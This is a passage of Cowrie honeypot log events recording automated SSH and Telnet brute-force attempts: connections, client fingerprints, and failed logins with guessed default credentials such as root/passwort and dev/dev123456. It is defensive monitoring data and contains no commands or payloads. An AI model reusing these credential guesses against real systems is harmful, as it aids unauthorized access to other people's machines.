.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:30.506849Z","src_ip":"45.153.34.112","session":"eaa01101b994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:30.757329Z","src_ip":"45.153.34.112","session":"eaa01101b994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:31.396300Z","src_ip":"43.173.122.127","session":"6b85369bfdd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:31.841771Z","src_ip":"45.153.34.112","session":"eaa01101b994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.778435945510864,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:32.442374Z","src_ip":"192.119.13.58","session":"6f5bd77bb442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37180,"dst_ip":"10.17.0.5","dst_port":22,"session":"593b70b1db98","protocol":"ssh","message":"New connection: 45.153.34.112:37180 (10.17.0.5:22) [session: 593b70b1db98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:33.970400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:33.976478Z","src_ip":"45.153.34.112","session":"593b70b1db98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:34.059445Z","src_ip":"45.153.34.112","session":"593b70b1db98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:34.308241Z","src_ip":"45.153.34.112","session":"593b70b1db98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:35.394203Z","src_ip":"45.153.34.112","session":"593b70b1db98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53410,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e0597e5630e","protocol":"telnet","message":"New connection: 192.119.13.58:53410 (10.17.0.5:23) [session: 8e0597e5630e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:37.508598Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37204,"dst_ip":"10.17.0.5","dst_port":22,"session":"504e869ce718","protocol":"ssh","message":"New connection: 45.153.34.112:37204 (10.17.0.5:22) [session: 504e869ce718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:37.825058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:37.829947Z","src_ip":"45.153.34.112","session":"504e869ce718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:37.912627Z","src_ip":"45.153.34.112","session":"504e869ce718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:38.280968Z","src_ip":"45.153.34.112","session":"504e869ce718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57156,"dst_ip":"10.17.0.5","dst_port":23,"session":"d70c108be795","protocol":"telnet","message":"New connection: 192.119.13.58:57156 (10.17.0.5:23) [session: d70c108be795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:38.595895Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":51014,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eaaa29a350a","protocol":"ssh","message":"New connection: 62.133.62.83:51014 (159.203.135.109:22) [session: 5eaaa29a350a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:39.140435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:39.145941Z","src_ip":"62.133.62.83","session":"5eaaa29a350a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:39.225898Z","src_ip":"62.133.62.83","session":"5eaaa29a350a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:39.365905Z","src_ip":"45.153.34.112","session":"504e869ce718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":33556,"dst_ip":"10.17.0.5","dst_port":22,"session":"adae018c53cc","protocol":"ssh","message":"New connection: 170.106.177.3:33556 (10.17.0.5:22) [session: adae018c53cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:39.555728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:39.560512Z","src_ip":"170.106.177.3","session":"adae018c53cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwort","message":"login attempt [root/passwort] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:39.583139Z","src_ip":"62.133.62.83","session":"5eaaa29a350a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:39.628527Z","src_ip":"170.106.177.3","session":"adae018c53cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33476,"dst_ip":"10.17.0.5","dst_port":23,"session":"6410bcf8ae10","protocol":"telnet","message":"New connection: 192.119.13.58:33476 (10.17.0.5:23) [session: 6410bcf8ae10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:39.889324Z"}
{"eventid":"cowrie.login.failed","username":"rahul","password":"rahul","message":"login attempt [rahul/rahul] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:39.930526Z","src_ip":"170.106.177.3","session":"adae018c53cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:40.667393Z","src_ip":"62.133.62.83","session":"5eaaa29a350a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:41.002446Z","src_ip":"170.106.177.3","session":"adae018c53cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35128,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d94fa313804","protocol":"ssh","message":"New connection: 45.153.34.112:35128 (10.17.0.5:22) [session: 8d94fa313804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:41.725930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:41.734205Z","src_ip":"45.153.34.112","session":"8d94fa313804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:41.816927Z","src_ip":"45.153.34.112","session":"8d94fa313804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:42.072427Z","src_ip":"45.153.34.112","session":"8d94fa313804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:43.182676Z","src_ip":"45.153.34.112","session":"8d94fa313804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44766,"dst_ip":"10.17.0.5","dst_port":23,"session":"c983fabebc46","protocol":"telnet","message":"New connection: 192.119.13.58:44766 (10.17.0.5:23) [session: c983fabebc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:43.417428Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":46714,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bb82d2662aa","protocol":"ssh","message":"New connection: 81.9.145.130:46714 (10.17.0.5:22) [session: 5bb82d2662aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:44.415597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:44.420521Z","src_ip":"81.9.145.130","session":"5bb82d2662aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:44.533876Z","src_ip":"81.9.145.130","session":"5bb82d2662aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:45.022177Z","src_ip":"81.9.145.130","session":"5bb82d2662aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35142,"dst_ip":"10.17.0.5","dst_port":22,"session":"46fef972b246","protocol":"ssh","message":"New connection: 45.153.34.112:35142 (10.17.0.5:22) [session: 46fef972b246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:45.354934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:45.390594Z","src_ip":"45.153.34.112","session":"46fef972b246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:45.578977Z","src_ip":"45.153.34.112","session":"46fef972b246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:45.968334Z","src_ip":"45.153.34.112","session":"46fef972b246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:46.139290Z","src_ip":"81.9.145.130","session":"5bb82d2662aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:47.053842Z","src_ip":"45.153.34.112","session":"46fef972b246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57830,"dst_ip":"10.17.0.5","dst_port":23,"session":"45fa7ef4fa39","protocol":"telnet","message":"New connection: 192.119.13.58:57830 (10.17.0.5:23) [session: 45fa7ef4fa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:47.339050Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35158,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e965cda17ba","protocol":"ssh","message":"New connection: 45.153.34.112:35158 (10.17.0.5:22) [session: 8e965cda17ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:49.157275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:49.162676Z","src_ip":"45.153.34.112","session":"8e965cda17ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp